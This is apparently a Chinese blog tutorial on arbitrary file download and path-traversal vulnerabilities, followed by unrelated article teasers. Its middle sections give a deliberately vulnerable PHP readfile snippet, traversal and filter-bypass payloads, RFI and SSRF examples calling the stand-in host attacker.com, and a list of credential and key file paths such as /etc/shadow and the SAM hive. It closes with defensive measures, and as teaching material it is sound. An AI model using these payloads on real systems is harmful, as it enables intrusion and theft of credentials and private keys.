文件下载漏洞原理、探测、利用、绕过、防御 发布时间:2026/6/26 3:16:14 个人感觉这位师傅的文章内容很全面链接在此任意文件读取/下载漏洞总结_任意文件下载漏洞-CSDN博客一、原理服务端在处理文件下载请求时直接使用了用户提供的参数作为文件路径而没有进行有效的安全验证。一个典型的危险代码示例如下?php $filename $_GET[filename]; // 直接从用户输入获取文件名 readfile($filename); // 未经验证直接读取文件 ?这样的代码使得攻击者可以通过修改filename参数来访问任何有权限读取的文件二、探测1. 特征识别在URL中寻找与文件操作相关的参数名。文件名downloaddownreadfilereaddeldirpathsrcLang等参数名file、path、data、filename、filepath、readfile、data、url、realpath等URL特征: download.php?file... 或 read.php?filename...。2. 手工验证通过修改URL中的文件路径参数观察服务器的响应来判断是否存在漏洞如果服务器返回了文件内容则说明漏洞存在。尝试读取敏感文件来验证漏洞。?file../../../../etc/passwd (Linux)?file..\..\..\windows\win.ini (Windows)读取当前文件: 尝试下载当前页面自身源码如 ?filenameindex.php如果显示源码而不是解析后的页面证明存在文件下载漏洞。3.工具验证AWVS、Xray、Nessus扫描任意文件下载 / 目录遍历漏洞Burp Suite 主动扫描 字典 Payload 批量遍历御剑后台扫描爬取下载类接口三、利用1.利用条件1、存在读文件的函数fopen() 函数 fread() 函数 include() 函数 readfile() 函数 file_get_contents() 函数 file() 函数一键获取完整项目代码2、读取文件的路径用户可控且未校验或校验不严3、输出了文件内容2.本地文件包含LFI攻击者利用服务器端脚本中的漏洞在脚本中包含和执行任意文件。例如http://example.com/index.php?page../../etc/passwd这将导致服务器加载并显示 /etc/passwd 文件的内容。3.远程文件包含RFI攻击者利用服务器端脚本中的漏洞在脚本中包含和执行远程服务器上的任意文件。例如http://example.com/index.php?page\http://attacker.com/恶意文件.php这将导致服务器加载并执行远程服务器上的恶意文件。4.目录遍历攻击者利用服务器端脚本中的漏洞访问位于目标服务器上任意目录中的文件。例如http://example.com/index.php?page\../../../../../../etc/passwd这将导致服务器加载并显示 /etc/passwd 文件的内容。5.服务器端请求伪造SSRF攻击者利用服务器端脚本中的漏洞伪造HTTP请求并将其发送到目标服务器。例如http://example.com/index.php?url\http://attacker.com/恶意脚本.php这将导致服务器向恶意服务器发送HTTP请求。6.常用核心路径windowsC:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root用户信息 C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 C:\Windows\win.ini //Windows系统基本信息 C:\Windows\System32\drivers\etc\hosts //域名解析记录 C:\Users\Administrator\Desktop\*.desktop //桌面文件 %USERPROFILE%\Desktop\*.desktop //当前用户桌面文件 C:\inetpub\logs\LogFiles\W3SVC1\ //IIS访问日志 C:\Windows\System32\config\SAM //SAM哈希值 C:\Windows\System32\config\SYSTEM //系统注册表SYSTEM项linux/root/.ssh/authorized_keys //SSH授权登录公钥列表 /root/.ssh/id_rsa //SSH私钥 /root/.ssh/id_rsa.pub //SSH公钥 /etc/passwd //用户账户信息 /etc/shadow //用户密码哈希值 /etc/hosts //域名解析记录 /etc/fstab //文件系统挂载信息 /etc/sudoers //sudo权限配置 /root/.bash_history //root用户命令历史 /home/*/.bash_history //普通用户命令历史 /proc/self/environ //当前进程环境变量(含路径/密钥) /proc/self/cmdline //当前进程启动命令 /proc/sched_debug //进程调度信息(可定位进程PID) /var/log/secure //安全认证日志 /var/log/messages //系统通用日志 /var/log/nginx/access.log //Nginx访问日志 /var/log/apache2/access.log //Apache访问日志四、绕过1. 过滤 ../ 字符绕过重复嵌套绕过正则只匹配一次../....//....//etc/passwd ..\/..\/etc/passwd原理....// 会被解析为 ../编码绕过/URL 编码、双重 URL 编码、Unicode 编码、UTF-8 全角字符2. 后缀名白名单绕过限制只能下载 jpg/png路径截断%00 空字节截断PHP5.3.4 适用/download?file../../config.php%00.jpg问号绕过Nginx/Apache 解析特性/download?file../../config.php?.jpg路径拼接后缀用#锚点截断浏览器不会发送 #后内容/download?file../../config.php#.jpg3. 前缀固定目录绕过后端限制文件必须在upload/目录下?file../etc/passwd 拼接后 upload/../etc/passwd → 实际/etc/passwd4. 系统分隔符混用绕过过滤/就用\Windows 下两种分隔符通用Linux 部分环境兼容\。5. 特殊符号绕过~、. 隐藏路径、软链接文件绕过过滤。五、防御设置文件白名单将允许用户下载的文件名或ID与服务器上的真实文件名、路径建立一一对应的映射关系间接引用而不是直接传递路径参数。路径规范化与限制对用户输入进行严格过滤拒绝包含..、./、\等危险字符的请求。使用realpath()等函数将路径转换为绝对路径并检查该路径是否位于允许访问的基础目录内。使用open_basedir限制访问范围在PHP中配置open_basedir可以限制PHP脚本只能访问指定目录及其子目录。最小权限原则Web服务器进程应使用权限较低的用户运行防止其读取系统级敏感文件。同时对下载目录设置合理权限禁止脚本执行。日志与监控记录所有文件下载请求并对异常行为如大量请求/etc/passwd进行监控和告警 相关新闻 嵌入式emWin GRAPH控件实战:从架构解析到性能优化 1. 项目概述在嵌入式系统开发里,尤其是涉及到传感器数据采集、电机控制、电池管理或者任何需要实时监控的场景,把一堆冷冰冰的数字变成直观的曲线图,是调试和展示环节里最提效的一环。你肯定不想盯着串口助手刷屏的十六进制数,或者… 2026/6/26 2:22:59 [智能体-521]:Claude Code、OpenAI Codex、Cursor 完整深度对比 一、核心定位与产品形态(本质区别)1. CursorAI 原生独立终端IDE(VSCode 二次重构编辑器) 载体是完整图形化代码编辑器,以日常交互式开发为核心;内置多模型切换(自研 Composer、Claude、GPT-5 Co… 2026/6/26 2:22:59 适合制造业全流程的低代码 SRM 系统有哪些推荐? 很多制造企业推进采购数字化时,都会遇到相似的困境。 用 Excel 和邮件管理,月底对账要加班好几天,数据还容易出错。上了标准化 SRM,又发现流程太死板,根本适配不了自己的生产节奏。找厂商做定制开发,不仅周… 2026/6/26 2:22:59 最新新闻 “中标公示”与“合同公告”同日发布,真的违法吗? 某环卫设备采购项目,3月3日发布中标结果公告,同日也发布了合同公告。 投诉人火速举报:程序严重倒置!必定提前签了合同!采购人和中标人肯定有猫腻!财政部门的结论是:三项投诉全部不成立。 这个结… 2026/6/26 4:23:00 电机性能测试系统:集性能评估与耐久验证于一体 当新能源汽车、工业机器人、高端装备制造对电机性能的要求越来越苛刻,一套能精准刻画电机"真实状态"的测试系统,正在成为企业技术创新的核心底座。同星智能推出的电机性能测试系统,专为电机产品的质量优化与技术创新打造࿰… 2026/6/26 4:23:00 张量可视化实战:用厨房类比理解多维张量结构 1. 这不是数学课,是厨房里的张量可视化实战“多维张量可视化”听起来像博士生在黑板前推导的抽象符号游戏——但其实,它更接近你站在厨房里切洋葱、摆盘、调整烤箱温度时的直觉判断。我第一次真正“看见”4D张量,不是在Jupyter Notebook里跑完… 2026/6/26 4:23:00 同样有测试需求的小伙伴可以直接参考这个配置,简单高效,但注意密码的地方 建议要改成自己的哈~ 另外 external 的那些外部卷提前手工建好,保留你自己的数据,防止以后重建导致数据丢失~)% cat docker-compose.yml name: oracle-apex-devservices:# --- 数据库服务 ---oracle26ai:container_name: oracle26ai-freeimag… 2026/6/26 4:23:00 element upload组件 多文件上传闪一下及开启多选后onSuccess回调一次的问题 多图片卡片类型展示,上传闪一下问题 是因为组件会渲染ready状态的文件,最简单的就是隐藏 // An highlighted block //最简单粗暴解决方案: /deep/ .el-upload-list__item.is-ready { display: none; }开启多选文件后,成功回调一… 2026/6/26 4:23:00 抖音账号与手机号关联验证:合规路径、技术实现与风险规避指南 1. 项目概述与核心需求解析最近在和一些做用户运营、市场调研的朋友聊天时,发现一个挺有意思的需求:他们手头有一些抖音账号,想知道这些账号背后有没有绑定手机号,或者更进一步,想验证某个手机号是否注册了抖音。这个需… 2026/6/26 3:22:59 日新闻 插拔式工作流:Python 插件注册与 Webhook 回调引擎设计 插拔式工作流:Python 插件注册与 Webhook 回调引擎设计 在智能工作流系统设计中,如何让系统具备扩展性并与外部服务(如 CRM、即时通讯工具、ERP)对接,是平台商业化的重要考量。如果每次引入新功能都要重新编译核心服务… 2026/6/26 0:22:58 逻辑回归二分类实战:可视化驱动的建模诊断与业务落地 1. 这不是“调个包就出图”的 Logistic Regression 入门课,而是一次真实项目中必须面对的二分类决策现场你手头有一批客户数据,目标是判断他们是否会流失;或者你正在处理医学影像的初步筛查结果,需要快速区分阳性与阴性࿱… 2026/6/26 0:22:58 Windows证书配置实战:从HTTPS原理到res-downloader应用指南 1. 项目概述:为什么Windows证书配置是每个开发者的必修课?最近在帮团队新人配置开发环境时,我发现一个高频出现的“拦路虎”:Windows下的证书配置问题。无论是抓包调试、部署HTTPS服务,还是使用像res-downloader这类需… 2026/6/26 0:22:58 周新闻 第四章:本体推理的技术基础设施 当LLM不够用了——本体推理的企业决策实践第三章讲了"怎么落地"的方法论。这一章聚焦在"落地靠什么"——推理的技术基础设施。 如果说前三章是在论证"为什么要做本体推理"和"怎么做才能不失败",那么从这一章开始࿰… 2026/6/24 17:34:30 OpenClaw:本地AI工作流的可编程调度中枢 1. OpenClaw不是“另一个前端界面”,而是本地AI工作流的中枢调度器很多人第一次看到 OpenClaw,下意识会把它当成 ComfyUI 或 Ollama Web UI 那类图形化前端——点几下就能调模型、聊聊天。我最初也这么想,直到在 Ubuntu 24.04.4 的移动硬盘虚… 2026/6/24 17:34:33 3分钟打造你的游戏隐身衣:用Deceive重新掌控社交边界 3分钟打造你的游戏隐身衣:用Deceive重新掌控社交边界 【免费下载链接】Deceive 🎩 Appear offline for League of Legends, VALORANT, and Legends of Runeterra. 项目地址: https://gitcode.com/gh_mirrors/de/Deceive 你是否曾因为登录游戏就被… 2026/6/24 17:34:35 月新闻 仅剩47小时!Gemini 2.5欧洲语言模型权重微调窗口即将关闭:3个轻量级LoRA适配器+1套验证集,零代码快速部署 更多请点击: https://codechina.net 第一章:Gemini 2.5欧洲语言翻译能力演进与窗口期战略意义 Gemini 2.5在欧洲语言支持方面实现了质的跃升,尤其在德语、法语、西班牙语、意大利语及葡萄牙语的长上下文跨语言对齐、术语一致性保持和文化语境… 2026/6/25 5:32:38 【Gemini客户反馈分析实战指南】:20年AI产品专家亲授3大高价值洞察模型与落地工具包 更多请点击: https://kaifayun.com 第一章:Gemini客户反馈分析的核心价值与演进脉络 在AI产品持续迭代的背景下,Gemini模型的客户反馈已从早期零散的体验吐槽,逐步演变为结构化、多模态、实时驱动的关键决策依据。其核心价值不仅… 2026/6/25 3:47:27 Gemini用户差评聚类分析:3大隐性需求缺口暴露,错过本周将影响Q3产品迭代优先级 更多请点击: https://intelliparadigm.com 第一章:Gemini用户差评聚类分析:3大隐性需求缺口暴露,错过本周将影响Q3产品迭代优先级 我们对2024年6月1日–6月28日期间App Store与Google Play中含“Gemini”关键词的12,743条低分&a… 2026/6/25 9:51:33
嵌入式emWin GRAPH控件实战:从架构解析到性能优化 1. 项目概述在嵌入式系统开发里,尤其是涉及到传感器数据采集、电机控制、电池管理或者任何需要实时监控的场景,把一堆冷冰冰的数字变成直观的曲线图,是调试和展示环节里最提效的一环。你肯定不想盯着串口助手刷屏的十六进制数,或者… 2026/6/26 2:22:59
[智能体-521]:Claude Code、OpenAI Codex、Cursor 完整深度对比 一、核心定位与产品形态(本质区别)1. CursorAI 原生独立终端IDE(VSCode 二次重构编辑器) 载体是完整图形化代码编辑器,以日常交互式开发为核心;内置多模型切换(自研 Composer、Claude、GPT-5 Co… 2026/6/26 2:22:59
适合制造业全流程的低代码 SRM 系统有哪些推荐? 很多制造企业推进采购数字化时,都会遇到相似的困境。 用 Excel 和邮件管理,月底对账要加班好几天,数据还容易出错。上了标准化 SRM,又发现流程太死板,根本适配不了自己的生产节奏。找厂商做定制开发,不仅周… 2026/6/26 2:22:59
“中标公示”与“合同公告”同日发布,真的违法吗? 某环卫设备采购项目,3月3日发布中标结果公告,同日也发布了合同公告。 投诉人火速举报:程序严重倒置!必定提前签了合同!采购人和中标人肯定有猫腻!财政部门的结论是:三项投诉全部不成立。 这个结… 2026/6/26 4:23:00
电机性能测试系统:集性能评估与耐久验证于一体 当新能源汽车、工业机器人、高端装备制造对电机性能的要求越来越苛刻,一套能精准刻画电机"真实状态"的测试系统,正在成为企业技术创新的核心底座。同星智能推出的电机性能测试系统,专为电机产品的质量优化与技术创新打造࿰… 2026/6/26 4:23:00
张量可视化实战:用厨房类比理解多维张量结构 1. 这不是数学课,是厨房里的张量可视化实战“多维张量可视化”听起来像博士生在黑板前推导的抽象符号游戏——但其实,它更接近你站在厨房里切洋葱、摆盘、调整烤箱温度时的直觉判断。我第一次真正“看见”4D张量,不是在Jupyter Notebook里跑完… 2026/6/26 4:23:00
同样有测试需求的小伙伴可以直接参考这个配置,简单高效,但注意密码的地方 建议要改成自己的哈~ 另外 external 的那些外部卷提前手工建好,保留你自己的数据,防止以后重建导致数据丢失~)% cat docker-compose.yml name: oracle-apex-devservices:# --- 数据库服务 ---oracle26ai:container_name: oracle26ai-freeimag… 2026/6/26 4:23:00
element upload组件 多文件上传闪一下及开启多选后onSuccess回调一次的问题 多图片卡片类型展示,上传闪一下问题 是因为组件会渲染ready状态的文件,最简单的就是隐藏 // An highlighted block //最简单粗暴解决方案: /deep/ .el-upload-list__item.is-ready { display: none; }开启多选文件后,成功回调一… 2026/6/26 4:23:00
抖音账号与手机号关联验证:合规路径、技术实现与风险规避指南 1. 项目概述与核心需求解析最近在和一些做用户运营、市场调研的朋友聊天时,发现一个挺有意思的需求:他们手头有一些抖音账号,想知道这些账号背后有没有绑定手机号,或者更进一步,想验证某个手机号是否注册了抖音。这个需… 2026/6/26 3:22:59
插拔式工作流:Python 插件注册与 Webhook 回调引擎设计 插拔式工作流:Python 插件注册与 Webhook 回调引擎设计 在智能工作流系统设计中,如何让系统具备扩展性并与外部服务(如 CRM、即时通讯工具、ERP)对接,是平台商业化的重要考量。如果每次引入新功能都要重新编译核心服务… 2026/6/26 0:22:58
逻辑回归二分类实战:可视化驱动的建模诊断与业务落地 1. 这不是“调个包就出图”的 Logistic Regression 入门课,而是一次真实项目中必须面对的二分类决策现场你手头有一批客户数据,目标是判断他们是否会流失;或者你正在处理医学影像的初步筛查结果,需要快速区分阳性与阴性࿱… 2026/6/26 0:22:58
Windows证书配置实战:从HTTPS原理到res-downloader应用指南 1. 项目概述:为什么Windows证书配置是每个开发者的必修课?最近在帮团队新人配置开发环境时,我发现一个高频出现的“拦路虎”:Windows下的证书配置问题。无论是抓包调试、部署HTTPS服务,还是使用像res-downloader这类需… 2026/6/26 0:22:58
第四章:本体推理的技术基础设施 当LLM不够用了——本体推理的企业决策实践第三章讲了"怎么落地"的方法论。这一章聚焦在"落地靠什么"——推理的技术基础设施。 如果说前三章是在论证"为什么要做本体推理"和"怎么做才能不失败",那么从这一章开始࿰… 2026/6/24 17:34:30
OpenClaw:本地AI工作流的可编程调度中枢 1. OpenClaw不是“另一个前端界面”,而是本地AI工作流的中枢调度器很多人第一次看到 OpenClaw,下意识会把它当成 ComfyUI 或 Ollama Web UI 那类图形化前端——点几下就能调模型、聊聊天。我最初也这么想,直到在 Ubuntu 24.04.4 的移动硬盘虚… 2026/6/24 17:34:33
3分钟打造你的游戏隐身衣:用Deceive重新掌控社交边界 3分钟打造你的游戏隐身衣:用Deceive重新掌控社交边界 【免费下载链接】Deceive 🎩 Appear offline for League of Legends, VALORANT, and Legends of Runeterra. 项目地址: https://gitcode.com/gh_mirrors/de/Deceive 你是否曾因为登录游戏就被… 2026/6/24 17:34:35
仅剩47小时!Gemini 2.5欧洲语言模型权重微调窗口即将关闭:3个轻量级LoRA适配器+1套验证集,零代码快速部署 更多请点击: https://codechina.net 第一章:Gemini 2.5欧洲语言翻译能力演进与窗口期战略意义 Gemini 2.5在欧洲语言支持方面实现了质的跃升,尤其在德语、法语、西班牙语、意大利语及葡萄牙语的长上下文跨语言对齐、术语一致性保持和文化语境… 2026/6/25 5:32:38
【Gemini客户反馈分析实战指南】:20年AI产品专家亲授3大高价值洞察模型与落地工具包 更多请点击: https://kaifayun.com 第一章:Gemini客户反馈分析的核心价值与演进脉络 在AI产品持续迭代的背景下,Gemini模型的客户反馈已从早期零散的体验吐槽,逐步演变为结构化、多模态、实时驱动的关键决策依据。其核心价值不仅… 2026/6/25 3:47:27
Gemini用户差评聚类分析:3大隐性需求缺口暴露,错过本周将影响Q3产品迭代优先级 更多请点击: https://intelliparadigm.com 第一章:Gemini用户差评聚类分析:3大隐性需求缺口暴露,错过本周将影响Q3产品迭代优先级 我们对2024年6月1日–6月28日期间App Store与Google Play中含“Gemini”关键词的12,743条低分&a… 2026/6/25 9:51:33